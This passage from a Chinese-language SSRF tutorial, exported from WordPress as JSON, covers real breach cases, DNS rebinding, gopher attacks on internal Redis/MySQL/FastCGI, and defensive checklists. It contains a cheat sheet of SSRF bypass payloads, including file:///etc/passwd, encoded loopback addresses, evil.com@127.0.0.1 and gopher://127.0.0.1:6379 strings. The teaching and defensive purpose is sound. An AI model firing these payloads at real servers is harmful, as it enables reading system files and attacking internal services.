\n\u5927\u795e\u8fdb\u9636：\u9ad8\u7ea7 SSRF \u6280\u5de7\u4e0e\u771f\u5b9e\u6848\u4f8b<\/h3>\nA.1 \u771f\u5b9e CVE \u6848\u4f8b\u5206\u6790<\/h4>\nCapital One SSRF（2019）<\/h5>\n1. Capital One \u4f7f\u7528 AWS WAF（ModSecurity）
\n2. WAF \u914d\u7f6e\u9519\u8bef，\u5141\u8bb8 SSRF \u8bf7\u6c42
\n3. \u653b\u51fb\u8005\u901a\u8fc7 WAF \u5411 AWS \u5143\u6570\u636e\u670d\u52a1\u53d1\u8d77\u8bf7\u6c42
\n4. \u83b7\u53d6\u4e86 IAM \u89d2\u8272\u7684\u4e34\u65f6\u51ed\u8bc1
\n5. \u7528\u51ed\u8bc1\u8bbf\u95ee S3 \u2192 \u4e0b\u8f7d 1 \u4ebf\u7528\u6237\u6570\u636e
\n6. \u7f5a\u6b3e 8000 \u4e07\u7f8e\u5143
\n\u200b
\n\u6559\u8bad：SSRF + \u4e91\u5143\u6570\u636e = \u707e\u96be<\/p>\n GitHub SSRF（2017）<\/h5>\nGitHub \u7684 Webhook \u529f\u80fd\u5141\u8bb8\u7528\u6237\u914d\u7f6e\u56de\u8c03 URL
\n\u653b\u51fb\u8005\u914d\u7f6e\u5185\u7f51\u5730\u5740 \u2192 \u63a2\u6d4b\u5185\u7f51\u670d\u52a1
\nGitHub \u4fee\u590d\u540e\u9650\u5236\u4e86\u76ee\u6807\u5730\u5740<\/p>\n A.2 DNS \u91cd\u7ed1\u5b9a\u653b\u51fb\u8be6\u89e3<\/h4>\n1. \u653b\u51fb\u8005\u6ce8\u518c\u57df\u540d evil.com
\n2. \u914d\u7f6e\u4e24\u4e2a DNS \u670d\u52a1\u5668：
\n \u00a0 – \u7b2c\u4e00\u6b21\u89e3\u6790 \u2192 \u8fd4\u56de\u5408\u6cd5\u5916\u7f51 IP（\u5982 1.2.3.4）
\n \u00a0 – \u7b2c\u4e8c\u6b21\u89e3\u6790 \u2192 \u8fd4\u56de 127.0.0.1
\n \u00a0 – TTL \u8bbe\u4e3a 0（\u7acb\u5373\u8fc7\u671f）
\n\u200b
\n3. \u670d\u52a1\u7aef\u6821\u9a8c\u6d41\u7a0b：
\n \u00a0 \u89e3\u6790 evil.com \u2192 IP=1.2.3.4 \u2192 \u901a\u8fc7\u6821\u9a8c \u2705
\n\u200b
\n4. \u670d\u52a1\u7aef\u5b9e\u9645\u8bf7\u6c42：
\n \u00a0 \u518d\u6b21\u89e3\u6790 evil.com \u2192 IP=127.0.0.1 \u2192 \u8bf7\u6c42\u5185\u7f51 \u274c
\n\u200b
\n5. \u7ed3\u679c：\u670d\u52a1\u7aef\u8bf7\u6c42\u4e86 127.0.0.1<\/p>\n \u9632\u5fa1：\u6821\u9a8c\u540e\u76f4\u63a5\u7528 IP \u8fde\u63a5，\u4e0d\u518d\u8d70 DNS\u3002<\/p>\n A.3 Gopher \u534f\u8bae\u653b\u51fb\u5185\u7f51\u670d\u52a1\u5927\u5168<\/h4>\nRedis（6379）：
\n \u2192 \u5199 WebShell
\n \u2192 \u5199 SSH \u516c\u94a5
\n \u2192 \u5199\u8ba1\u5212\u4efb\u52a1（\u53cd\u5f39 Shell）
\n \u2192 \u5199\u4e3b\u4ece\u540c\u6b65 RCE
\n\u200b
\nMySQL（3306）：
\n \u2192 \u6784\u9020 MySQL \u534f\u8bae\u5305\u6267\u884c\u67e5\u8be2
\n \u2192 \u8bfb\u53d6\u6570\u636e\u5e93\u5185\u5bb9
\n\u200b
\nFastCGI（9000）：
\n \u2192 \u6784\u9020 FastCGI \u534f\u8bae\u5305
\n \u2192 \u8ba9 PHP-FPM \u6267\u884c\u4efb\u610f\u4ee3\u7801
\n\u200b
\nMemcached（11211）：
\n \u2192 \u8bfb\u53d6\u7f13\u5b58\u6570\u636e
\n \u2192 \u5199\u5165\u6076\u610f\u7f13\u5b58
\n\u200b
\nElasticsearch（9200）：
\n \u2192 \u8bfb\u53d6\u7d22\u5f15\u6570\u636e
\n \u2192 \u6267\u884c Groovy \u811a\u672c<\/p>\n A.4 SSRF \u7ed5\u8fc7\u5927\u5168（\u5b8c\u6574\u7248）<\/h4>\nIP \u7ed5\u8fc7（10+ \u79cd）：
\n 127.0.0.1 \u2192 2130706433（\u5341\u8fdb\u5236）
\n 127.0.0.1 \u2192 0x7f.0x0.0x0.0x1（\u5341\u516d\u8fdb\u5236）
\n 127.0.0.1 \u2192 0177.0.0.1（\u516b\u8fdb\u5236）
\n 127.0.0.1 \u2192 127.1（\u7701\u7565）
\n 127.0.0.1 \u2192 [::1]（IPv6）
\n 127.0.0.1 \u2192 [::ffff:127.0.0.1]（\u6620\u5c04）
\n 127.0.0.1 \u2192 http:\/\/evil.com@127.0.0.1（@\u6df7\u6dc6）
\n\u200b
\n\u8df3\u8f6c\u7ed5\u8fc7：
\n 302 \u8df3\u8f6c \u2192 \u653b\u51fb\u8005\u670d\u52a1\u5668\u8df3\u8f6c\u5230\u5185\u7f51
\n DNS \u91cd\u7ed1\u5b9a \u2192 \u57df\u540d\u89e3\u6790\u5230\u5185\u7f51
\n \u77ed\u94fe\u63a5 \u2192 \u8df3\u8f6c\u5230\u5185\u7f51
\n\u200b
\n\u534f\u8bae\u7ed5\u8fc7：
\n http \u88ab\u7981 \u2192 \u5c1d\u8bd5 https\u3001gopher\u3001dict\u3001file
\n URL \u7f16\u7801 \u2192 %31%32%37%2e%30%2e%30%2e%31<\/p>\n A.5 SSRF \u5927\u795e\u7ea7 Checklist<\/h4>\n\u68c0\u6d4b：
\n– [ ] \u662f\u5426\u6709\u7528\u6237\u53ef\u63a7\u7684 URL \u53c2\u6570？
\n– [ ] \u662f\u5426\u68c0\u67e5\u4e86\u6240\u6709\u534f\u8bae？
\n– [ ] \u662f\u5426\u6d4b\u8bd5\u4e86 IP \u7ed5\u8fc7？
\n– [ ] \u662f\u5426\u6d4b\u8bd5\u4e86 DNS \u91cd\u7ed1\u5b9a？
\n– [ ] \u662f\u5426\u6d4b\u8bd5\u4e86 302 \u8df3\u8f6c？
\n– [ ] \u662f\u5426\u6d4b\u8bd5\u4e86\u4e91\u5143\u6570\u636e？
\n\u200b
\n\u5229\u7528：
\n– [ ] \u662f\u5426\u63a2\u6d4b\u4e86\u5185\u7f51\u7aef\u53e3？
\n– [ ] \u662f\u5426\u8bfb\u53d6\u4e86\u672c\u5730\u6587\u4ef6？
\n– [ ] \u662f\u5426\u5c1d\u8bd5\u4e86 gopher \u534f\u8bae？
\n– [ ] \u662f\u5426\u68c0\u67e5\u4e86\u4e91\u5143\u6570\u636e？
\n– [ ] \u662f\u5426\u5c1d\u8bd5\u4e86\u653b\u51fb\u5185\u7f51 Redis\/MySQL？
\n\u200b
\n\u9632\u5fa1：
\n– [ ] \u662f\u5426\u4f7f\u7528\u767d\u540d\u5355\u57df\u540d？
\n– [ ] \u662f\u5426\u6821\u9a8c\u89e3\u6790\u540e\u7684\u771f\u5b9e IP？
\n– [ ] \u662f\u5426\u7981\u7528\u4e86\u5371\u9669\u534f\u8bae？
\n– [ ] \u662f\u5426\u7981\u6b62\u4e86\u8df3\u8f6c？
\n– [ ] \u4e91\u73af\u5883\u662f\u5426\u542f\u7528 IMDSv2？
\n– [ ] \u5185\u7f51\u670d\u52a1\u662f\u5426\u7f51\u7edc\u9694\u79bb？
\n– [ ] Redis \u662f\u5426\u8bbe\u7f6e\u4e86\u8ba4\u8bc1？<\/p>\n
\n\u9644\u5f55：\u901f\u67e5\u8868<\/h3>\nIP \u7ed5\u8fc7\u901f\u67e5<\/h4>\n\n\u65b9\u6cd5\u793a\u4f8b\u8bf4\u660e<\/tr>\n \n\n| \u5341\u8fdb\u5236<\/td>\n | 2130706433<\/td>\n | 127.0.0.1<\/td>\n<\/tr>\n | \n| \u516b\u8fdb\u5236<\/td>\n | 0177.0.0.1<\/td>\n | 0177=127<\/td>\n<\/tr>\n | \n| \u5341\u516d\u8fdb\u5236<\/td>\n | 0x7f.0x0.0x0.0x1<\/td>\n | 0x7f=127<\/td>\n<\/tr>\n | \n| \u7701\u7565<\/td>\n | 127.1<\/td>\n | \u7b49\u4ef7 127.0.0.1<\/td>\n<\/tr>\n | \n| IPv6<\/td>\n | [::1]<\/td>\n | \u56de\u73af<\/td>\n<\/tr>\n | \n| \u6620\u5c04<\/td>\n | [::ffff:127.0.0.1]<\/td>\n | IPv4\u6620\u5c04<\/td>\n<\/tr>\n | \n| @<\/td>\n | http:\/\/evil.com@127.0.0.1<\/td>\n | \u7528\u6237\u540d\u6df7\u6dc6<\/td>\n<\/tr>\n | \n| \u8df3\u8f6c<\/td>\n | 302 \u2192 127.0.0.1<\/td>\n | \u91cd\u5b9a\u5411<\/td>\n<\/tr>\n | \n| DNS<\/td>\n | \u57df\u540d\u89e3\u6790\u5230 127.0.0.1<\/td>\n | \u91cd\u7ed1\u5b9a<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n\u534f\u8bae\u5229\u7528\u901f\u67e5<\/h4>\n\n\u534f\u8bae\u7528\u9014\u793a\u4f8b<\/tr>\n \n\n| file:\/\/<\/td>\n | \u8bfb\u6587\u4ef6<\/td>\n | file:\/\/\/etc\/passwd<\/td>\n<\/tr>\n | \n| http:\/\/<\/td>\n | SSRF\/\u63a2\u6d4b<\/td>\n | http:\/\/127.0.0.1:6379\/<\/td>\n<\/tr>\n | \n| gopher:\/\/<\/td>\n | \u6253\u5185\u7f51\u670d\u52a1<\/td>\n | gopher:\/\/127.0.0.1:6379\/_…<\/td>\n<\/tr>\n | \n| dict:\/\/<\/td>\n | \u63a2\u6d4b\u7aef\u53e3<\/td>\n | dict:\/\/127.0.0.1:6379\/info<\/td>\n<\/tr>\n | \n| php:\/\/filter<\/td>\n | \u8bfb\u6e90\u7801<\/td>\n | php:\/\/filter\/resource=index.php<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n\u5185\u7f51\u7aef\u53e3\u901f\u67e5<\/h4>\n\n\u7aef\u53e3\u670d\u52a1\u63a2\u6d4b\u65b9\u6cd5<\/tr>\n \n\n| 22<\/td>\n | SSH<\/td>\n | \u8fde\u63a5\u8d85\u65f6=\u5f00\u653e<\/td>\n<\/tr>\n | \n| 80\/443<\/td>\n | HTTP\/S<\/td>\n | \u8fd4\u56de HTTP \u54cd\u5e94<\/td>\n<\/tr>\n | \n| 3306<\/td>\n | MySQL<\/td>\n | \u8fd4\u56de\u63e1\u624b\u5305<\/td>\n<\/tr>\n | \n| 6379<\/td>\n | Redis<\/td>\n | \u8fd4\u56de -ERR \u6216 +PONG<\/td>\n<\/tr>\n | \n| 8080<\/td>\n | Web \u5e94\u7528<\/td>\n | \u8fd4\u56de HTTP \u54cd\u5e94<\/td>\n<\/tr>\n | \n| 9200<\/td>\n | Elasticsearch<\/td>\n | \u8fd4\u56de JSON<\/td>\n<\/tr>\n | \n| 11211<\/td>\n | Memcached<\/td>\n | \u8fd4\u56de\u7edf\u8ba1\u4fe1\u606f<\/td>\n<\/tr>\n | \n| 27017<\/td>\n | MongoDB<\/td>\n | \u8fd4\u56de MongoDB \u54cd\u5e94<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n \u603b\u7ed3：SSRF \u9632\u5fa1\u6838\u5fc3\u662f\u767d\u540d\u5355 + \u89e3\u6790\u540e\u6821\u9a8c\u771f\u5b9e IP，\u7981\u6b62\u975e http(s) \u534f\u8bae，\u7981\u6b62\u8df3\u8f6c\u3002\u5173\u952e\u7ec6\u8282：\u6821\u9a8c\u540e\u5fc5\u987b\u76f4\u63a5\u7528 IP \u8fde\u63a5（\u9632 DNS \u91cd\u7ed1\u5b9a）\u3002\u4e91\u73af\u5883\u52a1\u5fc5\u542f\u7528 IMDSv2\u3002\u8bb0\u4f4f：SSRF + \u4e91\u5143\u6570\u636e = \u707e\u96be\u6027\u540e\u679c（Capital One \u4e8b\u4ef6\u5c31\u662f\u6559\u8bad）\u3002<\/p>\n","protected":false},"excerpt":{"rendered":" \u7b2c\u96f6\u7ae0：\u96f6\u57fa\u7840\u5165\u95e8\u5982\u679c\u4f60\u5b8c\u5168\u6ca1\u6709\u5b89\u5168\u57fa\u7840，\u4ece\u8fd9\u91cc\u5f00\u59cb\u8bfb\u3002\u5982\u679c\u4f60\u5df2\u6709\u57fa\u7840，\u53ef\u76f4\u63a5\u8df3\u5230\u7b2c\u4e00\u7ae0\u30020.1 \u5148\u641e\u61c2\u670d\u52a1\u5668\u4e3a\u4ec0\u4e48\u8981\\”\u4ee3\u4f60\\”\u53d1\u8bf7\u6c42\u4f60\u7528\u624b\u673a\u626b\u63cf\u4e00\u4e2a\u4e8c\u7ef4\u7801，\u6216\u8005\u5728\u4e00\u4e2a\u7f51\u9875\u8f93\u5165\u4e00\u4e2a\u94fe\u63a5\u60f3\\”\u9884\u89c8\\”\u2014\u2014\u8fd9\u4e9b\u64cd\u4f5c\u80cc\u540e，\u662f\u4f60\u7684\u6d4f\u89c8\u5668\u5728\u53d1\u8bf7\u6c42\u3002\u4f46\u6709\u4e9b\u529f\u80fd\u662f\u670d\u52a1\u5668\u5e2e\u4f60\u53d1\u8bf7\u6c42：\u573a\u666f1：\u5728\u7ebf\u7ffb\u8bd1\u4f60\u8f93\u5165\u4e00\u4e2a\u7f51\u5740 \u2192 \u7ffb\u8bd1\u7f51\u7ad9\u7684\u670d\u52a1\u5668\u53bb\u8bbf\u95ee\u90a3\u4e2a\u7f51\u5740 \u2192 \u628a\u9875\u9762\u5185\u5bb9\u7ffb\u8bd1\u7ed9\u4f60
\n\u200b
\n\u573a\u666f2：\u56fe<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[12663],"topic":[],"class_list":["post-111272","post","type-post","status-publish","format-standard","hentry","category-server","tag-ssrf-"],"yoast_head":"\n SSRF \u670d\u52a1\u7aef\u8bf7\u6c42\u4f2a\u9020 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.wsisp.com\/helps\/111272.html\" \/>\n<meta property=\"og:locale\" content=\"zh_CN\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"SSRF \u670d\u52a1\u7aef\u8bf7\u6c42\u4f2a\u9020 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"og:description\" content=\"\u7b2c\u96f6\u7ae0：\u96f6\u57fa\u7840\u5165\u95e8\u5982\u679c\u4f60\u5b8c\u5168\u6ca1\u6709\u5b89\u5168\u57fa\u7840，\u4ece\u8fd9\u91cc\u5f00\u59cb\u8bfb\u3002\u5982\u679c\u4f60\u5df2\u6709\u57fa\u7840，\u53ef\u76f4\u63a5\u8df3\u5230\u7b2c\u4e00\u7ae0\u30020.1 \u5148\u641e\u61c2\u670d\u52a1\u5668\u4e3a\u4ec0\u4e48\u8981"\u4ee3\u4f60"\u53d1\u8bf7\u6c42\u4f60\u7528\u624b\u673a\u626b\u63cf\u4e00\u4e2a\u4e8c\u7ef4\u7801，\u6216\u8005\u5728\u4e00\u4e2a\u7f51\u9875\u8f93\u5165\u4e00\u4e2a\u94fe\u63a5\u60f3"\u9884\u89c8"\u2014\u2014\u8fd9\u4e9b\u64cd\u4f5c\u80cc\u540e，\u662f\u4f60\u7684\u6d4f\u89c8\u5668\u5728\u53d1\u8bf7\u6c42\u3002\u4f46\u6709\u4e9b\u529f\u80fd\u662f\u670d\u52a1\u5668\u5e2e\u4f60\u53d1\u8bf7\u6c42：\u573a\u666f1：\u5728\u7ebf\u7ffb\u8bd1\u4f60\u8f93\u5165\u4e00\u4e2a\u7f51\u5740 \u2192 \u7ffb\u8bd1\u7f51\u7ad9\u7684\u670d\u52a1\u5668\u53bb\u8bbf\u95ee\u90a3\u4e2a\u7f51\u5740 \u2192 \u628a\u9875\u9762\u5185\u5bb9\u7ffb\u8bd1\u7ed9\u4f60 \u200b \u573a\u666f2：\u56fe\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.wsisp.com\/helps\/111272.html\" \/>\n<meta property=\"og:site_name\" content=\"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"article:published_time\" content=\"2026-09-30T12:17:37+00:00\" \/>\n<meta name=\"author\" content=\"admin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u4f5c\u8005\" \/>\n\t<meta name=\"twitter:data1\" content=\"admin\" \/>\n\t<meta name=\"twitter:label2\" content=\"\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4\" \/>\n\t<meta name=\"twitter:data2\" content=\"11 \u5206\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/111272.html\",\"url\":\"https:\/\/www.wsisp.com\/helps\/111272.html\",\"name\":\"SSRF \u670d\u52a1\u7aef\u8bf7\u6c42\u4f2a\u9020 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\",\"isPartOf\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/#website\"},\"datePublished\":\"2026-09-30T12:17:37+00:00\",\"dateModified\":\"2026-09-30T12:17:37+00:00\",\"author\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/111272.html#breadcrumb\"},\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.wsisp.com\/helps\/111272.html\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/111272.html#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"\u9996\u9875\",\"item\":\"https:\/\/www.wsisp.com\/helps\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"SSRF \u670d\u52a1\u7aef\u8bf7\u6c42\u4f2a\u9020\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#website\",\"url\":\"https:\/\/www.wsisp.com\/helps\/\",\"name\":\"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\",\"description\":\"\u9999\u6e2f\u670d\u52a1\u5668_\u9999\u6e2f\u4e91\u670d\u52a1\u5668\u8d44\u8baf_\u670d\u52a1\u5668\u5e2e\u52a9\u6587\u6863_\u670d\u52a1\u5668\u6559\u7a0b\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.wsisp.com\/helps\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"zh-Hans\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41\",\"name\":\"admin\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"zh-Hans\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery\",\"contentUrl\":\"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery\",\"caption\":\"admin\"},\"sameAs\":[\"http:\/\/wp.wsisp.com\"],\"url\":\"https:\/\/www.wsisp.com\/helps\/author\/admin\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"SSRF \u670d\u52a1\u7aef\u8bf7\u6c42\u4f2a\u9020 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.wsisp.com\/helps\/111272.html","og_locale":"zh_CN","og_type":"article","og_title":"SSRF \u670d\u52a1\u7aef\u8bf7\u6c42\u4f2a\u9020 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","og_description":"\u7b2c\u96f6\u7ae0：\u96f6\u57fa\u7840\u5165\u95e8\u5982\u679c\u4f60\u5b8c\u5168\u6ca1\u6709\u5b89\u5168\u57fa\u7840，\u4ece\u8fd9\u91cc\u5f00\u59cb\u8bfb\u3002\u5982\u679c\u4f60\u5df2\u6709\u57fa\u7840，\u53ef\u76f4\u63a5\u8df3\u5230\u7b2c\u4e00\u7ae0\u30020.1 \u5148\u641e\u61c2\u670d\u52a1\u5668\u4e3a\u4ec0\u4e48\u8981\"\u4ee3\u4f60\"\u53d1\u8bf7\u6c42\u4f60\u7528\u624b\u673a\u626b\u63cf\u4e00\u4e2a\u4e8c\u7ef4\u7801，\u6216\u8005\u5728\u4e00\u4e2a\u7f51\u9875\u8f93\u5165\u4e00\u4e2a\u94fe\u63a5\u60f3\"\u9884\u89c8\"\u2014\u2014\u8fd9\u4e9b\u64cd\u4f5c\u80cc\u540e，\u662f\u4f60\u7684\u6d4f\u89c8\u5668\u5728\u53d1\u8bf7\u6c42\u3002\u4f46\u6709\u4e9b\u529f\u80fd\u662f\u670d\u52a1\u5668\u5e2e\u4f60\u53d1\u8bf7\u6c42：\u573a\u666f1：\u5728\u7ebf\u7ffb\u8bd1\u4f60\u8f93\u5165\u4e00\u4e2a\u7f51\u5740 \u2192 \u7ffb\u8bd1\u7f51\u7ad9\u7684\u670d\u52a1\u5668\u53bb\u8bbf\u95ee\u90a3\u4e2a\u7f51\u5740 \u2192 \u628a\u9875\u9762\u5185\u5bb9\u7ffb\u8bd1\u7ed9\u4f60 \u200b \u573a\u666f2：\u56fe","og_url":"https:\/\/www.wsisp.com\/helps\/111272.html","og_site_name":"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","article_published_time":"2026-09-30T12:17:37+00:00","author":"admin","twitter_card":"summary_large_image","twitter_misc":{"\u4f5c\u8005":"admin","\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4":"11 \u5206"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.wsisp.com\/helps\/111272.html","url":"https:\/\/www.wsisp.com\/helps\/111272.html","name":"SSRF \u670d\u52a1\u7aef\u8bf7\u6c42\u4f2a\u9020 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","isPartOf":{"@id":"https:\/\/www.wsisp.com\/helps\/#website"},"datePublished":"2026-09-30T12:17:37+00:00","dateModified":"2026-09-30T12:17:37+00:00","author":{"@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41"},"breadcrumb":{"@id":"https:\/\/www.wsisp.com\/helps\/111272.html#breadcrumb"},"inLanguage":"zh-Hans","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.wsisp.com\/helps\/111272.html"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.wsisp.com\/helps\/111272.html#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"\u9996\u9875","item":"https:\/\/www.wsisp.com\/helps"},{"@type":"ListItem","position":2,"name":"SSRF \u670d\u52a1\u7aef\u8bf7\u6c42\u4f2a\u9020"}]},{"@type":"WebSite","@id":"https:\/\/www.wsisp.com\/helps\/#website","url":"https:\/\/www.wsisp.com\/helps\/","name":"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","description":"\u9999\u6e2f\u670d\u52a1\u5668_\u9999\u6e2f\u4e91\u670d\u52a1\u5668\u8d44\u8baf_\u670d\u52a1\u5668\u5e2e\u52a9\u6587\u6863_\u670d\u52a1\u5668\u6559\u7a0b","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.wsisp.com\/helps\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"zh-Hans"},{"@type":"Person","@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41","name":"admin","image":{"@type":"ImageObject","inLanguage":"zh-Hans","@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/image\/","url":"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery","contentUrl":"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery","caption":"admin"},"sameAs":["http:\/\/wp.wsisp.com"],"url":"https:\/\/www.wsisp.com\/helps\/author\/admin"}]}},"_links":{"self":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts\/111272","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/comments?post=111272"}],"version-history":[{"count":0,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts\/111272\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/media?parent=111272"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/categories?post=111272"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/tags?post=111272"},{"taxonomy":"topic","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/topic?post=111272"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}} | | | | | | | | | | | | | |